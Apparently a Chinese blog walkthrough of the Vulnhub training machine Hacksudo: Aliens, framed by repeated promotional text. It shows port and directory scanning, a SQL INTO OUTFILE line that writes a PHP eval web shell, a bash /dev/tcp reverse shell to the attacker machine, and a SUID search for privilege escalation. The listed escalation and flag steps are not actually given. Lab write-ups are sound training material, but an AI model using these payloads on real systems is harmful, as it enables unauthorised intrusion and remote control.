看完这篇 教你玩转渗透测试靶机Vulnhub——Hacksudo Aliens_vulnhub靶机下载

网上学习资料一大堆，但如果学到的知识不成体系，遇到问题时只是浅尝辄止，不再深入研究，那么很难做到真正的技术提升。

需要这份系统化的资料的朋友，可以戳这里获取

一个人可以走的很快，但一群人才能走的更远！不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人，都欢迎加入我们的的圈子（技术交流、学习资源、职场吐槽、大厂内推、面试辅导），让我们一起学习成长！

Vulnhub靶机Hacksudo: Aliens渗透测试详解

• • Vulnhub靶机介绍：
    • Vulnhub靶机下载：
    • Vulnhub靶机安装：
    • Vulnhub靶机漏洞详解：
    • • • ①：信息收集：
          • ②：数据库后台传木马：
          • ③：反弹shell：
          • ④：提权：
          • • 1.date提权：
              • 2.cpulimit 提权
          • ⑤：获取FLAG：
    • Vulnhub靶机渗透总结：

Vulnhub靶机介绍：

vulnhub是个提供各种漏洞平台的综合靶场，可供下载多种虚拟机进行下载，本地VMware或者Oracle VM打开即可，像做游戏一样去完成渗透测试、提权、漏洞利用、代码审计等等有趣的实战。

PS:需要获得root权限找到flag

Difficulty：Easy （简单的）

Vulnhub靶机下载：

官网下载：https://download.vulnhub.com/hacksudo/HacksudoAliens.zip

Vulnhub靶机安装：

下载好了把安装包解压 然后使用 VMware或者Oracle VM打开即可。

Vulnhub靶机漏洞详解：

①：信息收集：

kali里使用arp-scan -l或者netdiscover发现主机

渗透机：kali IP ：172.20.10.5 靶机IP ：172.20.10.11

使用命令：nmap -sS -sV -n -T4 -p- 172.20.10.11

开启了22、80、9000老样子先看80 访问一下 然后扫后台使用工具:dirb，dirsearch，gobuster

这里扫出来个数据库的备份文件，查看发现账号和密码：vishal/hacksudo

②：数据库后台传木马：

访问9000端口，输入账号密码登入数据库后台 登入成功！！

可以尝试写入一句话木马

 select '<?php @eval($\_POST[cmd]);?>'INTO OUTFILE '/var/www/html/cmd.php'

③：反弹shell：

 bash -c 'exec bash -i &>/dev/tcp/172.20.10.5/1234 <&1'
 python3 -c ‘import pty;pty.spawn(“/bin/bash”)’

④：提权：

find / -user root -perm -4000 -print 2>/dev/null


![img](https://img-blog.csdnimg.cn/img_convert/6a23d8d22109328807823b8f7984dfe2.png)
![img](https://img-blog.csdnimg.cn/img_convert/0c4444846e19fedc93424232786e5421.png)

**网上学习资料一大堆，但如果学到的知识不成体系，遇到问题时只是浅尝辄止，不再深入研究，那么很难做到真正的技术提升。**

**[需要这份系统化的资料的朋友，可以戳这里获取](https://bbs.csdn.net/forums/4f45ff00ff254613a03fab5e56a57acb)**

**一个人可以走的很快，但一群人才能走的更远！不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人，都欢迎加入我们的的圈子（技术交流、学习资源、职场吐槽、大厂内推、面试辅导），让我们一起学习成长！**

/forums/4f45ff00ff254613a03fab5e56a57acb)**

**一个人可以走的很快，但一群人才能走的更远！不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人，都欢迎加入我们的的圈子（技术交流、学习资源、职场吐槽、大厂内推、面试辅导），让我们一起学习成长！**